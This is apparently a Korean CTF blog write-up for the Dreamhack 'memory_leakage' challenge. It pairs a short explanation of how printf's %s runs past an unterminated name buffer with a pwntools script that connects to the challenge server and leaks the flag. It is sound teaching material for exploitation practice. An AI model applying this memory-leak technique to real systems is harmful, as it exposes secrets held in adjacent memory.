switch ( v3 )
{
case 2:
printf("Name: %s\n", &buf);
printf("Age: %d\n", v5);
break;
%s는 null을 만나기 전까지 모두 출력해준다.
따라서 0이 없도록 buf와 v5를 모두 채워주면 3번 메뉴에서 s에 flag를 넣고 2번 메뉴에서 flag까지 출력되도록 할 수 있다.
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
p = remote("host1.dreamhack.games", 8336)
#p = process("./memory_leakage")
elf = ELF("./memory_leakage")
def Join(name, age):
p.sendlineafter("> ", '1')
p.sendafter("Name: ", name)
p.sendlineafter("Age: ", str(age))
def Print():
p.sendlineafter("> ",'2')
def Flag():
p.sendlineafter("> ", '3')
#gdb.attach(p)
Join('A'*0x10, 1000000000000)
Flag()
Print()
p.interactive()
[Dreamhack] tcache_dup2 (0) | 2020.08.29 |
---|---|
[Dreamhack] basic_heap_overflow (0) | 2020.07.08 |
[Dreamhack] House of Force (0) | 2020.06.13 |
[Dreamhack] tcache dup (0) | 2020.06.12 |
[Dreamhack] house_of_spirit (0) | 2020.06.12 |